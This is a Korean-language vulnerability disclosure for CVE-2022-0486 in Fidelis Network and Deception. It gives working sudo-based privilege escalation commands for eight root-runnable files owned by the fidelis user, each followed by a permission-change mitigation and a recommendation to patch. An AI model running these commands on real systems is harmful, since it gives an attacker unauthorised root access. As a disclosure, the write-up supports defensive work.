
Fidelis Network and Deception - 안전하지 않은 파일 권한 상승 - 다중
모든 익스플로잇은 미국 정부에 의해 공개 승인되었습니다. 무제한 배포를 위해 문서 승인을 담당한 군인 및 정부 연락관에게 특별히 감사드립니다. 다음 OTR 번호를 참조하십시오:
Date: 20220517 2005H UTC
Exploit Author: Henry Reed, The Aerospace Corporation
Vendor Homepage: https://fidelissecurity.com/
영향받는 버전:
테스트 환경:
CVE: CVE-2022-0486
CVE 설명: Fidelis Network 및 Deception의 CommandPost, Collector, Sensor 및 Sandbox 구성 요소의 부적절한 파일 권한으로 인해 CLI에 대한 로컬 관리자 액세스 권한이 있는 공격자가 영향을 받는 파일을 수정하고 루트 사용자와 동등한 권한 상승을 가능하게 합니다. 이 취약점은 9.4.5 이전의 Fidelis Network 및 Deception 버전에 존재합니다. 이 취약점을 해결하기 위해 패치 및 업데이트를 사용할 수 있습니다.
이 CVE는 일련의 부적절한 파일 권한을 포함하므로 여러 익스플로잇이 존재합니다. 모든 익스플로잇은 fidelis 사용자가 소유한 바이너리 또는 스크립트에 대해 fidelis 사용자에게 하나의 NOPASSWD 및 여러 개의 비밀번호 필요 sudoers 권한이 부여되어 fidelis 사용자가 파일을 임의로 수정할 수 있기 때문에 발생합니다. 이로 인해 로컬 권한 상승이 가능합니다.
NOPASSWD로 영향을 받는 파일:
비밀번호가 필요한 영향받는 파일:
영향을 받는 Fidelis Deception 또는 Fidelis Network 사용자는 이 취약점을 패치하기 위해 소프트웨어를 업데이트하는 것이 좋습니다. 또한 이 취약점의 영향을 받는지 여부와 관계없이 모든 사용자는 초기 구성 후 Fidelis 제품에 대한 셸 액세스를 비활성화하는 것이 좋습니다.
어떤 이유로든 이 중 하나라도 불가능한 경우, 이 문서에는 각 취약한 파일에 대한 완화 방법이 설명되어 있습니다. 작성자의 테스트 범위 내에서는 사용자가 설명된 완화 방법을 적용하기 전에 이러한 취약점 중 하나를 사용하여 권한을 상승시켜야 하는 것으로 보이므로, 대신 Fidelis를 업데이트하고 SSH를 비활성화하는 것을 강력히 권장합니다.
테스트 환경:
/FSS/bin/shutdown.pl에 대한 잘못 구성된 소유권 권한으로 인해 fidelis 사용자가 여러 Fidelis 제품에서 루트 사용자와 동등한 권한으로 상승할 수 있습니다. 기본적으로 sudoers 구성은 fidelis 사용자가 비밀번호를 묻지 않고 루트 사용자로 /FSS/bin/shutdown.pl을 실행하도록 허용합니다. 이 파일은 fidelis 사용자가 소유하므로 fidelis 사용자가 스크립트를 임의로 수정하고 권한을 상승시킬 수 있습니다.
$ chmod 700 /FSS/bin/shutdown.pl
$ echo '#!/usr/bin/perl -w' > /FSS/bin/shutdown.pl
$ echo "exec '/bin/sh';" >> /FSS/bin/shutdown.pl
$ cat /FSS/bin/shutdown.pl
#!/usr/bin/perl -w
exec '/bin/sh';
$ sudo /FSS/bin/shutdown.pl
취약점 발견 및 익스플로잇을 보여주는 스크린샷. NOPASSWD 라인은 shutdown.pl이 권한 상승의 잠재적 후보임을 나타냅니다:

/FSS/bin/shutdown.pl의 사용자 및 그룹 소유자를 root:fidelis로 변경하고 /FSS/bin/shutdown.pl의 그룹 소유자에게 읽기 및 실행 권한만 허용하면 이 취약점이 완화됩니다:

테스트 환경:
/FSS/setup/cert_mgmt에 대한 잘못 구성된 소유권 권한으로 인해 fidelis 사용자가 여러 Fidelis 제품에서 루트 사용자와 동등한 권한으로 상승할 수 있습니다. 기본적으로 sudoers 구성은 fidelis 사용자가 비밀번호를 제공하면 루트 사용자로 /FSS/setup/cert_mgmt을 실행하도록 허용합니다. 이 파일은 fidelis 사용자가 소유하므로 fidelis 사용자가 스크립트를 임의로 수정하고 권한을 상승시킬 수 있습니다.
$ chmod u+w /FSS/setup/cert_mgmt
$ cp /bin/bash /FSS/setup/cert_mgmt
$ sudo /FSS/setup/cert_mgmt
취약점 발견 및 익스플로잇을 보여주는 스크린샷:

/FSS/setup/cert_mgmt의 사용자 및 그룹 소유자를 root:fidelis로 변경하고 /FSS/setup/cert_mgmt의 그룹 소유자에게 읽기 및 실행 권한만 허용하면 이 취약점이 완화됩니다:

테스트 환경:
/FSS/bin/db_updater에 대한 잘못 구성된 소유권 권한으로 인해 fidelis 사용자가 Fidelis CommandPost에서 루트 사용자와 동등한 권한으로 상승할 수 있습니다. 기본적으로 sudoers 구성은 fidelis 사용자가 비밀번호를 제공하면 루트 사용자로 /FSS/bin/db_updater을 실행하도록 허용합니다. 이 파일은 fidelis 사용자가 소유하므로 fidelis 사용자가 바이너리를 임의로 수정하고 권한을 상승시킬 수 있습니다.
$ chmod u+w /FSS/bin/db_updater
$ cp /bin/bash /FSS/bin/db_updater
$ sudo /FSS/bin/db_updater

/FSS/bin/db_updater의 사용자 및 그룹 소유자를 root:fidelis로 변경하고 /FSS/bin/db_updater의 그룹 소유자에게 읽기 및 실행 권한만 허용하면 이 취약점이 완화됩니다:

테스트 환경:
/FSS/deception-manager/bin/deception-manager에 대한 잘못 구성된 소유권 권한으로 인해 fidelis 사용자가 Fidelis CommandPost에서 루트 사용자와 동등한 권한으로 상승할 수 있습니다. 기본적으로 sudoers 구성은 fidelis 사용자가 비밀번호를 제공하면 루트 사용자로 /FSS/deception-manager/bin/deception-manager을 실행하도록 허용합니다. 이 파일은 fidelis 사용자가 소유하므로 fidelis 사용자가 바이너리를 임의로 수정하고 권한을 상승시킬 수 있습니다.
$ cp /bin/bash /FSS/deception-manager/bin/deception-manager
$ sudo /FSS/deception-manager/bin/deception-manager
취약점 발견 및 익스플로잇을 보여주는 스크린샷:

/FSS/deception-manager/bin/deception-manager의 사용자 및 그룹 소유자를 root:fidelis로 변경하고 /FSS/deception-manager/bin/deception-manager의 그룹 소유자에게 읽기 및 실행 권한만 허용하면 이 취약점이 완화됩니다:

테스트 환경:
/FSS/sbin/fssdbg.sh에 대한 잘못 구성된 소유권 권한으로 인해 fidelis 사용자가 여러 Fidelis 제품에서 루트 사용자와 동등한 권한으로 상승할 수 있습니다. 기본적으로 sudoers 구성은 fidelis 사용자가 비밀번호를 제공하면 루트 사용자로 /FSS/sbin/fssdbg.sh을 실행하도록 허용합니다. 이 파일은 fidelis 사용자가 소유하므로 fidelis 사용자가 스크립트를 임의로 수정하고 권한을 상승시킬 수 있습니다.
$ chmod u+w /FSS/sbin/fssdbg.sh
$ cp /bin/bash /FSS/sbin/fssdbg.sh
$ sudo /FSS/sbin/fssdbg.sh
취약점 발견 및 익스플로잇을 보여주는 스크린샷:

/FSS/sbin/fssdbg.sh의 사용자 및 그룹 소유자를 root:fidelis로 변경하고 /FSS/sbin/fssdbg.sh의 그룹 소유자에게 읽기 및 실행 권한만 허용하면 이 취약점이 완화됩니다:

테스트 환경:
/FSS/bin/mst에 대한 잘못 구성된 소유권 권한으로 인해 fidelis 사용자가 여러 Fidelis 제품에서 루트 사용자와 동등한 권한으로 상승할 수 있습니다. 기본적으로 sudoers 구성은 fidelis 사용자가 비밀번호를 제공하면 루트 사용자로 /FSS/bin/mst을 실행하도록 허용합니다. 이 파일은 fidelis 사용자가 소유하므로 fidelis 사용자가 바이너리를 임의로 수정하고 권한을 상승시킬 수 있습니다.
$ chmod u+w /FSS/bin/mst
$ cp /bin/bash /FSS/bin/mst
$ sudo /FSS/bin/mst
취약점 발견 및 익스플로잇을 보여주는 스크린샷:

/FSS/bin/mst의 사용자 및 그룹 소유자를 root:fidelis로 변경하고 /FSS/bin/mst의 그룹 소유자에게 읽기 및 실행 권한만 허용하면 이 취약점이 완화됩니다. 다음은 권한 상승 완화 및 fidelis가 sudo 없이 mst 명령을 실행할 때의 출력 스니펫을 보여주는 스크린샷입니다:

완화하더라도 fidelis 사용자가 sudo로 명령을 계속 실행할 수 있음을 보여주는 스크린샷:

완화가 사용될 때 mst를 수정하여 다른 임의 코드를 실행할 수 없음을 보여주는 스크린샷:

테스트 환경:
/FSS/bin/setup에 대한 잘못 구성된 소유권 권한으로 인해 fidelis 사용자가 여러 Fidelis 제품에서 루트 사용자와 동등한 권한으로 상승할 수 있습니다. 기본적으로 sudoers 구성은 fidelis 사용자가 비밀번호를 제공하면 루트 사용자로 /FSS/bin/setup을 실행하도록 허용합니다. 이 파일은 fidelis 사용자가 소유하므로 fidelis 사용자가 바이너리를 임의로 수정하고 권한을 상승시킬 수 있습니다.
$ chmod u+w /FSS/bin/setup
$ cp /bin/bash /FSS/bin/setup
$ sudo /FSS/bin/setup
취약점 발견 및 익스플로잇을 보여주는 스크린샷:

/FSS/bin/setup의 사용자 및 그룹 소유자를 root:fidelis로 변경하고 /FSS/bin/setup의 그룹 소유자에게 읽기 및 실행 권한만 허용하면 이 취약점이 완화됩니다:

테스트 환경:
/FSS/setup/unlock_cp_user.sh에 대한 잘못 구성된 소유권 권한으로 인해 fidelis 사용자가 여러 Fidelis 제품에서 루트 사용자와 동등한 권한으로 상승할 수 있습니다. 기본적으로 sudoers 구성은 fidelis 사용자가 비밀번호를 제공하면 루트 사용자로 /FSS/setup/unlock_cp_user.sh을 실행하도록 허용합니다. 이 파일은 fidelis 사용자가 소유하므로 fidelis 사용자가 스크립트를 임의로 수정하고 권한을 상승시킬 수 있습니다.
$ chmod u+w /FSS/setup/unlock_cp_user.sh
$ cp /bin/bash /FSS/setup/unlock_cp_user.sh
$ sudo /FSS/setup/unlock_cp_user.sh
취약점 발견 및 익스플로잇을 보여주는 스크린샷:

/FSS/setup/unlock_cp_user.sh의 사용자 및 그룹 소유자를 root:fidelis로 변경하고 /FSS/setup/unlock_cp_user.sh의 그룹 소유자에게 읽기 및 실행 권한만 허용하면 이 취약점이 완화됩니다:
